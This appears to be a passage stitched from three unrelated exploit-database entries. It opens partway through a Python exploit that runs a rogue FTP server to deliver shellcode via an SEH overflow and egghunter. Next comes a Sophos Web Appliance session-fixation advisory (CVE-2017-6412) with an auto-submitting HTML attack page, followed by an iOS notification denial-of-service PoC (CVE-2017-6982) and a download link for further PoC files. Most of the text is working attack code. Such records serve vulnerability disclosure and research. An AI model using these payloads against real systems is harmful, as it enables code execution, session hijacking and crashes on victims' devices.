buf += "\xae\x24\xf7\x85\x01\x8e\xa6\x54\x5d\x65\x49\x07\x5e"
buf += "\xd3\x79\x2e\x41\xb6\x86\xcf\xb3\xb8\x2c\x03\xe3\xb9"
buf += "\x9a\x57\xf4\x13\x0d\x34\x5f\xca\x1a\x31\x33\xd6\xbc"
buf += "\xce\x89\x2a\x36\x84\x14\x2b\x49\xce\x9c\x81\x51\x85"
buf += "\xf9\x35\x63\x72\x1e\x07\x2a\x0f\xd5\xe3\xad\xe1\x27"
buf += "\x0b\x51\xcc\x87\x5f\x92\xce\x7c\xa7\x22\xc1\x70\xa6"
buf += "\x63\x36\x78\x93\x17\xec\x69\x91\x06\x67\xcb\x7d\xc8"
buf += "\x9c\x8a\xf6\xc6\x29\xd8\x53\xcb\xac\x35\xe8\xf7\x25"
buf += "\xc8\x07\x1c\x3b\xfa\x17\x6a\xd1\xa3\xc9\x30\x7e\x9e"
buf += "\xfe\xca"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
egg = "w00tw00t"
nseh = "\x90\x90\xEB\x05" #JMP over SEH
seh = "\xF8\x54\x01\x68" #POP POP RET 680154F8 in WCMDPA10.DLL
buffer = "A" * 100 + egg + "\x90" * 10 + buf + "D" * (9266-len(buf)) + nseh + seh + egghunter + "C" * 576
port = 21
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", port))
s.listen(5)
print("[i] Evil FTP server started on port: "+str(port)+"\r\n")
except:
print("[!] Failed to bind the server to port: "+str(port)+"\r\n")
while True:
conn, addr = s.accept()
conn.send('220 Welcome to your unfriendly FTP server\r\n')
print(conn.recv(1024))
conn.send("331 OK\r\n")
print(conn.recv(1024))
conn.send('230 OK\r\n')
print(conn.recv(1024))
conn.send('220 "'+buffer+'" is current directory\r\n')
# Exploit Title: [Sophos Secure Web Appliance Session Fixation Vulnerability]
# Date: [28/02/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [https://www.sophos.com/en-us/products/secure-web-gateway.aspx]
# Version: [Tested on Sophos Web Appliance version 4.3.1.1. Older versions may also be affected]
# Tested on: [Sophos Web Appliance version 4.3.1.1]
# CVE : [CVE-2017-6412]
# Vendor Security Bulletin: http://wsa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.1.2.html
==================
#Product:-
==================
Sophos Secure Web Appliance is a purpose-built secure web gateway appliance which makes web protection simple. It provides advanced protection from today’s sophisticated web malware with lightning performance that won’t slow users down. You get full control and instant insights over all web activity on your network.
==================
#Vulnerabilities:-
==================
Session Fixation Vulnerability
========================
#Vulnerability Details:-
========================
#1. Session Fixation Vulnerability (CVE-2017-6412)
A remote attacker could host a malicious page on his website that makes POST request to the victim’s Sophos Web Appliance to set the Session ID using STYLE parameter. The appliance does not validate if the Session ID sent by user/browser was issued by itself or fixed by an attacker.
Also, the appliance does not invalidate pre-login Session IDs it issued earlier once user logs in successfully. It continues to use the same pre-login Session ID instead of invalidating it and issuing a new one.
Note: An attacker would have to guess/know the IP address of the victim's device
Proof-of-Concept:
1.Visit the Sophos Login page to obtain pre-auth Session ID.
2.Host following webpage on attacking machine with the Session ID obtained in #1. It can be changed a little bit.
<html>
<body>
<form name="Sophos_Login"action="https://192.168.253.147/index.php?c=login" method="POST" >
<input type="hidden" name="STYLE" value="Pre-Auth Session ID">
</form>
<script>
window.onload = function(){
document.forms['Sophos_Login'].submit()
}
</script>
</body>
</html>
3. Visit the above page another machine.
4. You will be redirected to the login page, however Session ID will be the same.
5. Log into the appliance and check the Session ID, it will be the same from #1.
====================================
#Vulnerability Disclosure Timeline:
====================================
28/02/2017: First email to disclose the vulnerability to the vendor
28/02/2017: Vendor requested a vulnerability report
28/02/2017: Report sent to vendor.
28/02/2017: Vendor validated the report and confirmed the vulnerability
01/03/2017: CVE MITRE assigned CVE-2017-6412 to this vulnerability
03/03/2017: Vendor confirms that the fix is ready and is in the process of testing.
09/03/2017: Vendor confirmed that the patch will be released on March 17 2017 and requested to hold off publishing the CVE until March 31 2017.
17/03/2017: Vendor released the patch: http://wsa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.1.2.html
31/03/2017: Published CVE as agreed by vendor
# Exploit Title: Apple iOS < 10.3.2 - Notifications API Denial of Service
# Date: 05-15-2017
# Exploit Author: Sem Voigtländer (@OxFEEDFACE), Vincent Desmurs (@vincedes3) and Joseph Shenton
# Vendor Homepage: https://apple.com
# Software Link: https://support.apple.com/en-us/HT207798
# Version: iOS 10.3.2
# Tested on: iOS 10.3.2 iPhone 6
# CVE : CVE-2017-6982
# We do not disclose a PoC for remote notifications.
# PoC for local notifications. (Objective-C).
defaults = [NSUserDefaults standardUserDefaults];
UIUserNotificationType types = UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert;
UIUserNotificationSettings *mySettings = [UIUserNotificationSettings settingsForTypes:types categories:nil];
[[UIApplication sharedApplication] registerUserNotificationSettings:mySettings];
//1
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
NSTimeInterval interval;
interval = 5; //Time here in second to respring
UILocalNotification* localNotification = [[UILocalNotification alloc] init];
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
//2
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
//3
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
//4
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
//5
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
//6
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
//7
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
//8
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
//9
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
//10
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42014.zip